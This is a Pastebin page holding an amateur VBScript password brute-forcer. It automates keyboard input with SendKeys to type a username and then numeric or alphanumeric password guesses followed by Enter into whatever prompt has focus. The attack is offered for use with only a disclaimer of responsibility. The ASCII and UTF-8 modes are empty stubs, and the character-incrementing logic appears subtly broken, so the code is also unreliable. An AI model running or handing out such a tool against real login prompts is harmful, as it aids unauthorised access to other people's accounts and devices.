Advertisement
Guest User

Nothing

a guest
Aug 29th, 2015
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. 'This is the brute force vbs, created by someone!
  2. 'If you want to change the way this works, just edit the 4 lines below!
  3. 'Normally: it gives you 5s then it will start cracking it as if it was ASCII (ALT+1 - ALT+255)
  4.  
  5. 'Btw, I am not responsible for any damage caused to any device by this script, if you are using it right, you shouldn't be getting errors
  6.  
  7. hasUsr=0 'if there is an username required, set this to true (1) and put in the username between usr=" and " else, set this to false (0)
  8. usr=""
  9. maxCharacters=10 'max characters, set this higher, if the UTF-8 didn't work! (PLS don't use >20 if you don't want to crash your pc)
  10. passType=1 'passType: 0=Numbers,1=Alphabet+Numbers,2=ASCII,3=UTF-8
  11. sleepTime=5 'The time that is given before this thing will start operating
  12. ticksBetween=60 'The ticks that are between a try (/1000 = seconds)
  13. keysToPress="" 'For instance, when you want to press an extra key after it put in another key like: {TAB}
  14. auto=0 'Only turn on auto, if you want to wait really long, but you really want the password
  15.  
  16.  
  17. Set WshShell = WScript.CreateObject("WScript.Shell")
  18. WScript.Sleep(sleepTime*1000)
  19.  
  20. If(hasUsr=1) Then
  21. WshShell.SendKeys usr
  22. WScript.Sleep 300
  23. WshShell.SendKeys "{ENTER}"
  24. End If
  25.  
  26. number=0
  27. alphaStart="`"
  28. ASCIIStart = chr(1)
  29. UTFStart = "?"
  30.  
  31. If((passType=0) OR (auto=1)) Then
  32. Dim a : a=10^maxCharacters
  33.   For i=0 to a Step 1
  34.     WshShell.SendKeys i
  35.     WScript.Sleep ticksBetween
  36.     WshShell.SendKeys "{ENTER}"
  37.         WScript.Sleep ticksBetween
  38.         WshShell.SendKeys keysToPress
  39.   Next
  40. End If
  41. If((passType=1) OR (auto=1)) Then
  42. nice = alphaStart & ""
  43. Do While Len(nice)<=maxCharacters
  44. ne = ""
  45. improved=0
  46. Dim l : l=Len(nice)-1
  47.  For m=0 to l Step 1
  48.   curr=Mid(StrReverse(nice),m+1,1)
  49.   If((asc(curr)>=65 AND asc(curr)<90 AND (improved=0)) OR (asc(curr)>=96 AND asc(curr)<122 AND (improved=0)) OR (asc(curr)>=48 AND asc(curr)<57 AND (improved=0))) Then
  50.     neBackup = ne
  51.     ne = chr(asc(curr)+1)
  52.    
  53.     If(m>0) Then
  54.       Dim zzz : zzz=m-1
  55.       For zz=0 to zzz Step 1
  56.         If(zz=m-1) Then
  57.         ne=ne&"`"
  58.         Else
  59.         ne=ne&"a"
  60.         End If
  61.       Next
  62.     Else
  63.     ne=ne&neBackup
  64.     End If
  65.    
  66.     improved=1
  67.     'If l>0 get everything behind and set it to 'a'
  68.  
  69.     'If it changes, check if there are things after it, yes? get length and put in x times 'a' instead of ne
  70.   ElseIf((asc(curr)=90)  AND (improved=0)) Then
  71.     ne= chr(48) & ne
  72.     improved=1
  73.   ElseIf((asc(curr)=122) AND (improved=0)) Then
  74.     ne = chr(65) & ne
  75.     improved=1
  76.   Else
  77.     ne = curr & ne
  78.   End If
  79.  Next
  80.    WshShell.SendKeys ne
  81.    WScript.Sleep 1
  82.    WshShell.SendKeys "{ENTER}"
  83.    WScript.Sleep ticksBetween
  84.    WshShell.SendKeys keysToPress
  85. isOnlyZ=1
  86. Dim b : b=Len(alphaStart)-1
  87.  For j=0 to b Step 1
  88.   curr=Mid(ne,j+1,1)
  89.   If(NOT asc(curr)=57) Then
  90.     isOnlyZ=0
  91.   End If
  92.  Next
  93. If(isOnlyZ=1) Then
  94. ncop=ne
  95. ne="`"
  96. Dim c : c=Len(ncop)-1
  97.  For k=0 to c Step 1
  98.    ne = "a" & ne
  99.  Next
  100. End If
  101. nice = ne & ""
  102. Loop
  103. End If
  104.  
  105. If((passType=2) OR (auto=1)) Then
  106.  
  107. End If
  108.  
  109. If((passType=3) OR (auto=1)) Then
  110.  
  111. End If
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement